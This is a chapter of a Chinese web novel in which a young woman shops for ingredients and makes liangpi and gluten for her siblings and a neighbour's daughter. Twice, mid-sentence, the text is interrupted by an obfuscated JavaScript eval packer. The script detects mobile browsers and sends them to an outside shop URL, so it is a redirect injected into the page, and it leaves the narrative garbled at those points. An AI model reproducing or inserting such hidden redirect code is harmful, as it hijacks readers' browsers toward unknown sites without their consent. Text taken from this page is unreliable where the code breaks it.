她换了一身衣服，数了五百文钱放在钱袋子里。今天要补货香料、菜籽油，所以多带些钱。 昨日一整天花了二百三十文：早上和中午话得比较多一百四十文，下午只花了四十五文看戏，晚上吃的馄饨一碗十文钱，加上给沈天慧买的花灯十五文。 拿好钱，她看向沈天慧和沈天明两人：“我出去买明天摆摊的食材，你们要和我一起不？” 沈天慧当即起身：“要。” 沈天明也点头：“我帮忙提东西。” 沈天意点头：“那走吧。” 她先是去了药铺，买了八角桂皮香叶姜等香料，依然是一百文钱的；接着，她买了两斤菜籽油，花了一百文钱；再然后，她买了一斗十二斤白面，花了二百文钱。 值得一提，今天没去摆摊，她下意识有些心虚，于是特意避开了王家粮铺，换了一家铺子买的白面。 之后，她又买了十五个鸡蛋，四斤黄瓜、两斤豆芽，五头蒜、一把香菜，一共花了二十五文钱。 食材买得差不多了。 接着，她开始物色今天午饭、晚饭和明日的早饭吃什么。 “你这是野葱？” “没错，一文钱一把，小娘子，来一把吧，今早晨先去田地挖的，新鲜得很。” “来一把。” 沈天意打算引来炒一个野葱鸡蛋。 “……” “这藕怎么卖？” “三文钱。” “来两斤。” 如今正是吃莲藕的季节，莲藕是脆嫩的，适合清炒，脆甜脆甜的，沈天意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615824|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然不会错过。 “这蒜苗怎么卖？” “一文钱一把。” “来一把。” “……” “来一斤二刀肉。” 二刀肉最适合用来做盐煎肉。如果有豆瓣酱就好了，她就能做回锅肉，可惜没有。 “……” 买完菜，返回家里。 沈天意立马就开始做午饭，蒸的大米饭，菜是清炒藕片和盐煎肉。 这两道菜都没什么技术含量。 就一个评价：下饭菜。 再加上沈天意的金手指，下饭菜王，她煮了一斤米，三人一顿干完了。 三人都吃撑了。 于是，他们齐刷刷撑着肚子在院子里转圈消食。 这场景，有些好笑。 赵圆也真的笑出了声：“噗嗤！” 沈天意三人立刻看向发出声音的方向，脸色各异。 沈天意和沈天明表情平静。 沈天慧撅嘴，语气质问：“你笑什么？” “抱歉。” 赵圆没想到被抓包了，脸一下子涨得通红：“我不是故意要笑你们的。” 她小脸都是无措。 见此，沈天慧气都消了，也有些不好意思起来，她刚才语气太冲了。 她求救的看向沈天意。 沈天意当即出声：“没关系。” 她没话找话寒暄：“赵三娘子，你吃过午饭了没有？” 赵圆回答：“吃过了。”顿了顿，道：“我闻到香味了。” 沈天慧当即有兴致了，凑近赵圆：“你家里都闻到了？嘿，我大姐中午炒了一个盐煎肉和一个清炒藕片。那个盐煎肉太好吃了，我们肚子都吃撑了。” 听她这么说，赵圆忍不住咽口水，点头附和：“我闻着香味都想吃一碗大米饭了。” 她由衷的羡慕：“你可很幸福，有个这么会做饭的姐姐。” 沈天慧得意：“嘿嘿，那可不？” “……” 两人就这么兴致勃勃的聊了起来。 沈天意听了一会儿，就走开了，她可没这么厚脸皮现场听两人对她大夸特夸。 不过嘛～ 心里美滋滋的。 早上起得晚，她不打算午睡，开始和面。 和好面，醒面的时候，她和沈天明配合默契，迅速的熬好了复合酱油和辣椒油。 醒面完成。 沈天意没有揉面。 她吩咐沈天明：“天明，你去给我提盛半盆清水来，木盆洗干净。” 沈天明不明所以，但是照做。 很快，水来了。 沈天意揪了一个面团，大概一斤左右重，放进水里，开始像洗衣服一样的揉搓面团。 相信北方的朋友们都知道她要干什么了，那就是，做凉皮。 没错。 今天她要开发一个新品。 有凉面，怎么能没有凉皮呢？ 一直卖凉面，再好吃也会渐渐吃腻，增加品类，才能让生意更加稳定持久。 言归正传。 她使劲儿搓洗面团，直到木盆里的水变成了浓稠的白浆才停水，此刻，手里的面团已经小了一半。 她将白浆倒进木桶里。 然后，又让沈天明加了半盆清水，继续搓洗。 一直到，木盆里的水变得清澈为止。 此刻，一斤重的面团只剩下三两左右重量了。 这没用了？ 可不是没用，这手里剩下的也是一道出名的面食——面筋。 17. 红油凉皮 做凉皮和做凉面和面方法是不一样的。 沈天意是分开和面的，做凉面要加鸡蛋，做凉皮则不用。 一斤面出二斤凉面。 一斤面出二斤半凉皮，同时还有三两面筋，是比凉面更划算的生意。 当然，这要除开人工成本。 毕竟，做凉面可比做凉皮简单多了。 比如现在，需要不停的用手搓面团，才搓了一个面团，她手就开始泛酸了。 沈天明注意到了。 他主动开口：“大姐，要不换我来吧。” 沈天意想了想，答应了下来：“行，你来。” 她总共也就准备了两斤没加鸡蛋的面团，虽然对凉皮有信心，但头一次卖还是谨慎为上。 这边。 沈天明开始揉搓面团。 沈天意也没闲着，开始处理那六斤重的大面团。 两人分工合作，屋里一片静谧，只听得见偶尔从屋外传来的沈天慧和赵圆清脆笑声。 岁月静好。 擀面她是熟手了。 擀到一半，沈天明叫住她：“大姐，你看这样是不是就行了？” 沈天意看了一眼，点头：“没错，你把木桶放在一旁就不用再管了。” 白浆需要沉淀二个时辰才能将水和淀粉浆分离，而凉皮就是淀粉浆蒸熟的产物。 沈天明照做。 等待淀粉浆成型的途中，沈天意将十二斤的凉面全部做完。 此时。 已经接近酉时正。 也该到吃晚饭的时候了。 沈天意估摸着时间，回到房间里查看了一下木桶，上层的水已经清澈，透过层层水波可以看见桶底白嫩嫩的一片。 “差不多了。” 她自言自语说着，然后将木桶提向了厨房。 沈天明、沈天慧和赵圆都跟着进了厨房。 不过一下午，沈天慧和赵圆就成了朋友，两人一直黏在一起，似乎有说不完的话。 沈天慧好奇：“大姐，你这是要做凉皮了吗？” 沈天意点头。 “天明，帮我烧火。” 沈天明：“好。” 蒸凉皮，最好是用专门的平底锅，可是她没有，也暂时没钱去定制一个平底铁锅。 于是，她准备用笨办法。 她拿出了家里的竹制蒸笼，找出家里最大的盆子，在盘子面均匀抹上一层油，然后将倒掉了清水的粘稠淀粉浆倒入盘里，左右摇晃使其均匀铺满盘子底，大约三毫米厚度大小。 之后，她将盘子放入蒸笼，盖上蒸笼。 这期间，沈天慧和赵圆都直勾勾的盯着看，沈天明也看得认真。 凉皮很薄，大火两三分钟，打开盖子，原本的白浆已经变成了透明的面皮，表面生出大泡，这就是熟透了。 沈天意赶忙手垫着衣袖，将盆子拿出来，连盘子带凉皮一起放入早就准备好的冷水中冷却。 因为蒸凉皮的时候在盘子上抹了油，因此，凉皮和盘子轻而易举就分开了。 沈天意没立即蒸下一个，而是小心从水里捞出了凉皮，使其摊开在手中。 凉皮呈现半透明的淡黄色，看上去软软弹弹的，光是看外表，谁也想不到它是面做成的。 赵圆第一次见沈天意做饭，惊讶得长大了嘴巴：“哇塞！” 沈天意得意：“我姐厉害吧。” “厉害。”赵圆由衷点头：“我从来不知道，白面还能这么做，这是怎么想出来的？” “是你们家乡的做法吗？” 听到这里，沈天慧下意识摇头：“不是。”然后，她也疑惑了，也没过心随口问道：“大姐，你从哪儿学到这么做面食的？” 沈天意心里咯噔了一下。 “我、我也记不清了，大概是在镇上闲逛的时候偶然学到的吧。” 她故作镇定的打着哈哈：“你也知道，我以前最喜欢逛街。” 沈天慧没有丝毫怀疑：“这样啊。” 见此。 沈天意微不可察松了一口气：还好原身是个闲不住整日往外跑的性子。 她不再搭话，认真蒸凉皮。 半个时辰后，终于把五斤凉皮给做了出来。 “呼～” 沈天意喘了一口气。 到这里还没结束，还有最后一个任务，那便是处理面筋。 这就简单了。 直接起锅烧热水，将面筋放在里面煮一刻钟，即可捞出。 稍微放凉了之后，将面筋切成小块。 “好了！” 沈天意看了一眼外面的天色，已经暗了下来，再过半个时辰，就要彻底天黑了。 她也累着了，不想煮饭炒菜，就吃凉皮得了。 现成的。 心里做出了决定，她也告知了沈天明和沈天慧。 “行。” “好。” 两人满口答应。 凉皮是一张一张的，她刚才很无聊的数了一下，一共是二十五张，那平均下来，一张就是二两。 这正好。 一张就是一份的量。 一旁。 赵圆见他们准备吃饭了，主动开口：“沈姐姐、沈二哥，我先回家了。” “天慧，明天我再来找你玩儿。” 沈天慧点头：“好……” 没等她说完，沈天意打断她，看着赵圆道：“别走了，留下来吃晚饭。” “这……” 赵圆吃惊，然后心动，下一刻理智回笼，疯狂摆手：“不不不。” “别客气。” 沈天意语气真诚：“尝尝我的手艺。” 赵圆犹豫了。 沈天慧在一旁怂恿她：“留下嘛，我大姐做饭可好吃了，保管你吃了就爱上。” 赵圆最终没忍住诱惑：“那就麻烦沈姐姐了。” 沈天意摇头：“麻烦什么麻烦？” 四个人吃，也就是四份凉皮，调料和凉面没什么不同，黄瓜丝、豆芽打底，然后是姜蒜水、复合酱油、辣椒油、少许砂糖，最后放了三块面筋。 四碗凉皮弄好了。 “好了。”沈天意把第一份递给了赵圆：“给你的。” 赵圆：“谢谢沈姐姐。” 沈天意：“不谢。” 话音刚落，看向沈天明和沈天慧：“你们自己拿。” 沈天明和沈天慧动手。 沈天意也端起了属于自己的那一份。 搅拌好的凉皮比凉面更加有卖相，它本是半透明微黄色的，能更好的将料汁挂在凉皮上。 一入口。 首先，是冰凉和清爽，这是因为凉皮过了冷水；然后，细细咀嚼，凉皮的劲道、微脆、软糯、顺滑在口中爆发，同时，它还带着一股水润，怎么吃都不会觉得干噎。 这一点，是凉面比不上的。 更让人惊艳的是面筋，煮好切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616182|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的面筋上面带着密密麻麻的细孔，料汁浸透了面孔，吃进嘴里一咬，料汁在口腔爆发，面筋本身又十分劲道。 旁边，沈天明和沈天慧已经有了心理预期，此刻只觉得美味但并不是很惊讶。 但是，赵圆就不一样了。 她一吃进嘴里，立刻就瞪圆了双眼：“这凉皮好好吃，入口冰冰凉凉的，触感顺顺的滑滑的，咬断又弹牙，特别是这个味道，又香又辣，真是太好吃了！” 说完，她双眼满是崇拜的看着沈天意：“沈姐姐，你厨艺真的太棒了。我这辈子都没吃过这么好吃的面条。” 被人肯定和赞赏滋味是极好的。 沈天意忍不住笑意加深：“你喜欢就好。” 赵圆斩钉截铁：“喜欢，我太喜欢了！ “……” 四人吃得火热。 突然，厨房外有人唤赵圆的名字。 赵圆立刻认出了声音的主人是谁：“啊，是我娘！” “她肯定是来叫我回去吃饭。” “完了完了，我没经过娘同意随随便便在别人家吃饭……” 她娘最不喜欢占人便宜。 “没关系。” 沈天意见她这么慌张，安抚道：“是我主动邀请你吃晚饭的，我和赵娘子说就是了。” 赵圆的凉皮已经吃完了。 沈天意放下碗，对她道：“走，我陪你一起出去。” 赵圆点点头。 一走出厨房门，赵香彩立刻发现了人。 她一边走近，一边埋怨：“喊了你好几声了，你这丫头就在这儿怎么不吱个声……” 说着说着，她发现了赵圆嘴角残留的红油，脸色微变：“你吃了什么？” 赵圆心虚。 沈天意终于出声了：“赵娘子，我做了一个明天摆摊的新面食，刚才让赵圆替我尝了尝味道。” 赵香彩不信。 但是，既然沈天意这么说了，她也没拆穿，偷偷瞪了赵圆一眼，对着沈天意笑道：“哦，这样啊。” “没给你惹麻烦就好。” 沈天意摆手：“没有没有。” “那就好。” 赵香彩：“家里还在等我们娘两回去吃饭，我就不和你多聊了，回见。” 沈天意：“回见。” 目送两人离开，她返回了厨房。 另一边。 赵香彩和赵圆过了月亮门，赵香彩脸色陡然一变，一把揪住了赵圆的耳朵，呵斥：“说，是不是在人家家里蹭了饭吃？” “哎呦！” 赵圆哎哎叫唤：“好痛，娘，你放开，你松手……” “我没有。” “是沈姐姐主动请我吃的。” “人家请你你就答应？”赵香彩咬牙：“我平时怎么和你说的？” “家里缺你一口饭怎么的？” 沈天意姐弟三人生活不容易，每天起早贪黑摆摊挣钱糊口，自己这闺女还去人家哪儿白吃白喝，真的心大！ 赵圆无言以对，只得服软：“娘，我不敢了，下次不敢了，你松手吧。” 赵香彩这才松开：“哼！” 她不再理会赵圆，大步流星进了正房。 身后。 赵圆龇牙咧嘴的揉着耳朵，忍不住嘟囔：“我又不是死皮赖脸让人家给我吃的，人家主动给的都不行哦？” “沈姐姐做的这么美味，不允许我白吃，我花钱买总行了吧。”